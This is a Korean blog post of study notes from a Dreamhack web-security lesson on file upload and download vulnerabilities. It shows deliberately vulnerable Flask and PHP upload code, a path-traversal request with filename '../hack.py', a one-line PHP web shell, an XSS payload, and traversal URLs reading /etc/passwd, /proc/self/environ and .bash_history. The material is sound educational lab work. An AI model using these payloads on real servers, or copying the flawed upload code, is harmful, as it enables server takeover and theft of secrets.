본문 바로가기

Security Study/Web

[Dreamhack] File Vulnerability

ServerSide: File Vulnerability

1. File Upload Vulnerability

1.1. Path Traversal

파일 업로드 취약점(File Upload Vulnerability)

웹 서비스를 통해 이용자의 파일을 서버의 파일 시스템에 업로드하는 과정에서 발생하는 보안 취약점

이용자가 업로드 될 파일의 이름을 임의로 정할 수 있을 때 발생

  • 크게 Path Traversal과 악성 파일 업로드로 분류
  • 파일 업로드를 허용하는 대개의 서비스는 보안을 위해 특정 디렉토리에만 업로드를 허용
  • 제한이 없다면 악의적인 이용자가 웹 서버의 소스 코드나 서버에 있는 중요 시스템 파일을 덮어 쓸 위험이 있음

Path Traversal

업로드에 존재하는 제약을 우회하여 임의 디렉토리에 파일을 업로드할 수 있는 취약점

from flask import Flask, request
app = Flask(__name__)

@app.route('/fileUpload', methods = ['GET', 'POST'])
def upload_file():
	if request.method == 'POST':
		f = request.files['file']
		f.save("./uploads/" + f.filename)
		return 'Upload Success'
	else:
		return """
		<form action="/fileUpload" method="POST" enctype="multipart/form-data">
			<input type="file" name="file" />
			<input type="submit"/>
		</form>
		"""

if __name__ == '__main__':
	app.run()
  • 파일 업로드 기능에 Path Traversal 취약점이 있는 코드
  • /fileUpload는 POST 요청을 받으면 클라이언트가 전송한 파일을 ./uploads에 저장
  • 이용자가 입력한 파일 이름 f.filename을 그대로 사용하기 때문에 Path Traversal에 취약
    • 공격자가 ../와 같은 메타문자를 사용하면 uploads를 벗어나 상위 디렉토리에도 파일을 업로드할 수 있음

1.2. 정상적인 파일 요청

POST /fileUpload HTTP/1.1
Host: storage.dreamhack.io
Origin: <https://storage.dreamhack.io>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary20y3eoLVSNf9Ns5i

------WebKitFormBoundary20y3eoLVSNf9Ns5i
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

upload test !
------WebKitFormBoundary20y3eoLVSNf9Ns5i--
  • 파일을 정상적으로 업로드하면 위와 같은 HTTP 요청이 전송
  • 요청의 filename필드의 값이 코드 내 f.filename변수의 값이 됨
$ ls -lR
-rw-r--r--  1 dreamhack  staff  461  1 30 21:52 app.py
drwxr-xr-x  3 dreamhack  staff   96  1 30 21:31 uploads

./uploads:
total 8
-rw-r--r--  1 dreamhack  staff   13  1 30 21:31 test.txt
  • uploads폴더에 test.txt가 생성됨

1.3. 악의적인 파일 요청

POST /fileUpload HTTP/1.1
Host: storage.dreamhack.io
Origin: <https://storage.dreamhack.io>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary20y3eoLVSNf9Ns5i

------WebKitFormBoundary20y3eoLVSNf9Ns5i
Content-Disposition: form-data; name="file"; filename="../hack.py"
Content-Type: text/plain

[malicious file content]
------WebKitFormBoundary20y3eoLVSNf9Ns5i--
  • filename필드를 변조해서 Path Traversal을 수행하는 HTTP 요청
  • filename에 ..이 포함되어 있으므로 상위 디렉토리에 파일이 저장
$ ls -lR
-rw-r--r--  1 dreamhack  staff  461  1 30 21:52 app.py
-rw-r--r--  1 dreamhack  staff  431  1 30 22:12 hack.py
drwxr-xr-x  3 dreamhack  staff   96  1 30 21:31 uploads

./uploads:
total 8
-rw-r--r--  1 dreamhack  staff   13  1 30 21:31 test.txt
  • 요청을 전송하면, app.py파일 위치와 같은 디렉토리에 hack.py가 생성
  • app.py를 덮어쓴다면, 서버가 재실행될 때 임의의 파이썬 코드를 실행할 수 있음

1.4. 악성 파일 업로드

악성 파일 업로드 취약점

이용자가 파일을 업로드할 때, 이를 제대로 검사하지 않아서 발생하는 취약점

웹 셸

  • 웹 서버는 .php, .jsp, .asp와 같은 확장자의 파일을 CGI(Common Gateway Interface)로 실행하고, 그 결과를 이용자에게 반환
<FilesMatch ".+\\.ph(p[3457]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>
  • 이용자가 요청한 파일의 확장자가 정규표현식 ".+\\.ph(p[3457]?|t|tml)$"를 만족하면, x-httpd-php로 핸들링하게 하는 Apache 설정 파일
  • x-httpd-php는 PHP 엔진이며, 요청한 파일을 실행하고 그 결과를 반환
  • .php, .jsp, .asp이 위의 정규표현식을 만족
  • 많은 웹 서버들은 php파일에 대해 위와 같은 핸들링을 지원
  • 공격자가 임의의 php 소스 파일을 .php확장자로 업로드하고, GET 요청을 보낼 수 있다면 CGI에 의해 해당 코드가 실행되도록 할 수 있음

악의적인 웹 리소스

  • 웹 브라우저는 파일의 확장자나 응답의 Content-Type에 따라 요청을 다양하게 처리
  • 요청한 파일의 확장자가 .html이거나 반환된 Content-Type헤더가 test/html일 경우, 응답은 HTML 엔진으로 처리됨
  • 파일의 확장자가 .png, .jpg등의 이미지 확장자이거나, Content-Type이 image/png일 경우에는 이미지로 렌더링됨
  • 공격자가 서버에 exploit.html을 업로드하고, 이에 접근하는 URL이 https://dreamhack.io/uploads/exploit.html이라면, 브라우저는 이를 HTML로 해석
  • exploit.html에 악의적인 스크립트를 삽입하면, XSS(Cross-Site-Scripting) 공격으로 이어질 수 있음

1.5. 악성 파일 업로드 실습

악성 파일 업로드 모듈 구성 코드

<?php
if(!empty($_FILES['file'])){
  $filename = "user_uploaded_file_".time();
  $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
  $path = "./uploads/" . $filename . "." . $ext;
  
  if(move_uploaded_file($_FILES['file']['tmp_name'], $path)) {
    return true; // upload success
  } else {
    return false; // upload fail
  }
}
?>
  • 파일 이름을 임의의 파일명+"."+확장자로 생성하므로, Path Traversal을 이용한 공격은 불가능
  • 이용자가 올린 확장자를 별다른 검사 없이 사용하므로, php 웹셸을 업로드할 수 있음
  • html파일을 업로드하여 Stored XSS를 수행할 수도 있음
  • 웹셸과 악성 html 파일을 업로드하고, 이를 불러와 실행

1.6. 악성 파일 업로드 실습 풀이

웹 셸 업로드

  • 업로드 버튼을 클릭하여 파일을 업로드할 수 있는 페이지에 방문
<?php
  system("ls");
  system($_GET[x]);
?>
  • 위와 같은 php 파일을 업로드
  • PHP 코드 실행이 감지되면 성공

Stored XSS 시도

<script>alert(1);</script>
  • 위와 같은 내용의 HTML 파일을 업로드
  • 자바스크립트가 실행되면 성공

2. File Download Vulnerability

2.1. 파일 다운로드 취약점

웹 서비스를 통해 서버의 파일 시스템에 존재하는 파일을 내려 받는 과정에서 발생하는 보안 취약점

이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 때 발생

  • 웹 서비스는 이용자가 업로드한 파일을 다운로드 받거나 이미지를 불러올 때 특정 디렉토리에 있는 파일만 접근하도록 해야 함
  • Path Traversal을 이용한 파일 다운로드 취약점은 파일 이름을 직접 입력 받아 임의 디렉토리에 있는 파일을 다운로드 받을 수 있는 취약점을 말함

파일 다운로드 취약점이 자주 발생하는 URL 패턴

https://vulnerable-web.dreamhack.io/download/?filename=notes.txt

https://vulnerable-web.dreamhack.io/download/?filename=../../../../../../etc/passwd
https://vulnerable-web.dreamhack.io/images.php?fn=6ed0dd02806fa89e233b84f4.png

2.2. 파일 다운로드 취약점 실습

# ...
Secret = os.environ("Secret")
# ...

@app.route("/download")
def download():
    filename = request.args.get("filename")
    content = open("./uploads/" + filename, "rb").read()
    return content

# ...
  • 파일 다운로드 취약점을 실습할 수 있는 서버의 코드
  • 환경 변수로부터 가지고 오는 Secret 값을 파일 다운로드 취약점을 이용해 획득

2.3. 파일 다운로드 취약점 실습 풀이

  • 프로세스의 환경 변수는 /proc/[pid]/environ, /proc/self/environ에서 확인할 수 있음
  • 이용자가 프로세스를 호출하기 전에 환경 변수를 bash의 명령어로 설정했다면, .bash_history에서도 이를 알 수 있음
  • .bash_history를 읽으면, 이용자가 export명령어로 설정한 Secret값을 알 수 있음
반응형

'Security Study > Web' 카테고리의 다른 글

[Dreamhack] Command Injection  (0) 2024.04.12
[Dreamhack] SQL Injection  (2) 2024.02.20
[Dreamhack] Cross Site Request Forgery (CSRF)  (2) 2024.02.14
[Dreamhack] Cross-Site-Scripting (XSS)  (2) 2024.02.09
[Dreamhack] Cookie & Session  (2) 2024.02.07